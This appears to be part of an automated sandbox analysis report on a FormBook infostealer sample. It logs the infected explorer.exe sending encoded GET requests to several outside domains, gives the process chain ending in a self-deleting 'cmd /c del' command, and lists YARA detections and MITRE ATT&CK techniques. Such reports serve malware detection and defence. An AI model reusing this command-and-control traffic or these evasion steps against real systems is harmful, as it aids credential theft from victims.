5	192.168.2.3	49740	156.252.96.189	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:26:02.702056885 CEST	5550	OUT	GET /a8si/?NZb=62/bSqqzpTDIfVncwf8kcLNbcalsRP0e0Vdwfvu8Ay8ZWoGvbHjczG9DeoieTYsPlzHS&2dND=GVTl- HTTP/1.1 Host: www.best-cleaner.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:26:03.283816099 CEST	5551	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.16.1 Date: Wed, 12 May 2021 10:26:03 GMT Content-Type: text/html; charset=gbk Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.40 Set-Cookie: ASP.NET_SessionId=umxa4r1wpqvtit5wadtbqazl; path=/; HttpOnly; SameSite=Lax Location: /404.html Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49741	184.168.131.241	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:26:08.493067980 CEST	5552	OUT	GET /a8si/?NZb=O3o1U+q8oMW0A40QuM4kzZFzuvGZx18F2J1jOj0HsFueYiG3dIptHphoRZJy//fOFehA&2dND=GVTl- HTTP/1.1 Host: www.4520oceanviewavenue.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:26:08.756416082 CEST	5553	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Wed, 12 May 2021 10:26:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 0a 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 54 6f 75 72 20 49 6d 61 67 69 6e 67 20 56 69 72 74 75 61 6c 20 54 6f 75 72 73 3c 2f 74 69 74 6c 65 3e 20 20 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 6f 75 72 20 49 6d 61 67 69 6e 67 20 56 69 72 74 75 61 6c 20 54 6f 75 72 73 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 6f 75 72 20 49 6d 61 67 69 6e 67 20 56 69 72 74 75 61 6c 20 54 6f 75 72 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 66 72 61 6d 65 73 65 74 20 72 6f 77 73 3d 22 31 30 30 25 2c 2a 22 20 62 6f 72 64 65 72 3d 22 30 22 3e 0a 20 20 3c 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 74 6f 75 72 73 2e 74 6f 75 72 69 6d 61 67 69 6e 67 2e 63 6f 6d 2f 73 2f 69 64 78 2f 35 37 37 30 33 33 3f 4e 5a 62 3d 4f 33 6f 31 55 2b 71 38 6f 4d 57 30 41 34 30 51 75 4d 34 6b 7a 5a 46 7a 75 76 47 5a 78 31 38 46 32 4a 31 6a 4f 6a 30 48 73 46 75 65 59 69 47 33 64 49 70 74 48 70 68 6f 52 5a 4a 79 2f 2f 66 4f 46 65 68 41 26 61 6d 70 3b 32 64 4e 44 3d 47 56 54 6c 2d 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 2f 3e 0a 3c 2f 66 72 61 6d 65 73 65 74 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ff<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <title>Tour Imaging Virtual Tours</title> <meta name="description" content="Tour Imaging Virtual Tours"> <meta name="keywords" content="Tour Imaging Virtual Tours"></head><frameset rows="100%,*" border="0"> <frame src="http://tours.tourimaging.com/s/idx/577033?NZb=O3o1U+q8oMW0A40QuM4kzZFzuvGZx18F2J1jOj0HsFueYiG3dIptHphoRZJy//fOFehA&2dND=GVTl-" frameborder="0" /></frameset></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49744	64.98.145.30	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:26:14.073214054 CEST	5570	OUT	GET /a8si/?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl- HTTP/1.1 Host: www.omfgphil.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:26:14.218874931 CEST	5572	IN	HTTP/1.1 303 See Other Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Status: 303 See Other X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Location: https://vm.tiktok.com/ZMJE3suep/a8si?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl- Cache-Control: no-cache X-Request-Id: 98627d13-1f0d-4d0f-ac6c-3f13cb1515d0 X-Runtime: 0.006362 X-Powered-By: Phusion Passenger 4.0.53 Date: Wed, 12 May 2021 10:29:49 GMT Server: nginx/1.6.2 + Phusion Passenger 4.0.53 P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Data Raw: 62 65 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 76 6d 2e 74 69 6b 74 6f 6b 2e 63 6f 6d 2f 5a 4d 4a 45 33 73 75 65 70 2f 61 38 73 69 3f 4e 5a 62 3d 6a 64 4e 2b 33 52 55 65 6d 73 38 58 67 4a 41 4e 55 77 73 34 57 57 74 6b 62 76 58 78 4d 75 32 68 54 51 2f 74 36 4b 33 66 2b 74 38 70 72 58 69 37 4a 67 57 4b 6b 2b 71 2b 57 48 6c 46 6f 68 46 68 6e 71 74 7a 26 61 6d 70 3b 32 64 4e 44 3d 47 56 54 6c 2d 22 3e 72 65 64 69 72 65 63 74 65 64 3c 2f 61 3e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: be<html><body>You are being <a href="https://vm.tiktok.com/ZMJE3suep/a8si?NZb=jdN+3RUems8XgJANUws4WWtkbvXxMu2hTQ/t6K3f+t8prXi7JgWKk+q+WHlFohFhnqtz&2dND=GVTl-">redirected</a>.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49746	184.168.131.241	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:26:30.319866896 CEST	5588	OUT	GET /a8si/?NZb=4F1bkU/AiPiMeDtr2vTtPD5XJl4c4IZLVeC3bIU2IShR3AvGXFCeCpQ25wAjwLp6N7J6&2dND=GVTl- HTTP/1.1 Host: www.boostcoachingonline.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:26:30.541549921 CEST	5589	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Wed, 12 May 2021 10:26:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://zoom.us/j/8574583197?pwd=R20vRUg0bGh1THUxUDZZQm9JVlRadz09 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: 457b22da_by_Libranalysis.exe PID: 4120 Parent PID: 5652

General

Start time:	12:24:19
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe'
Imagebase:	0x250000
File size:	973824 bytes
MD5 hash:	457B22DA77D4DB093A31DD80A4B8963F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 457b22da_by_Libranalysis.exe PID: 5452 Parent PID: 4120

General

Start time:	12:24:28
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
Imagebase:	0xd80000
File size:	973824 bytes
MD5 hash:	457B22DA77D4DB093A31DD80A4B8963F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3388 Parent PID: 5452

General

Start time:	12:24:31
Start date:	12/05/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff714890000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 852 Parent PID: 3388

General

Start time:	12:24:45
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0x1340000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exe PID: 5448 Parent PID: 852

General

Start time:	12:24:50
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe'
Imagebase:	0x2d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6084 Parent PID: 5448

General

Start time:	12:24:50
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 457b22da_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries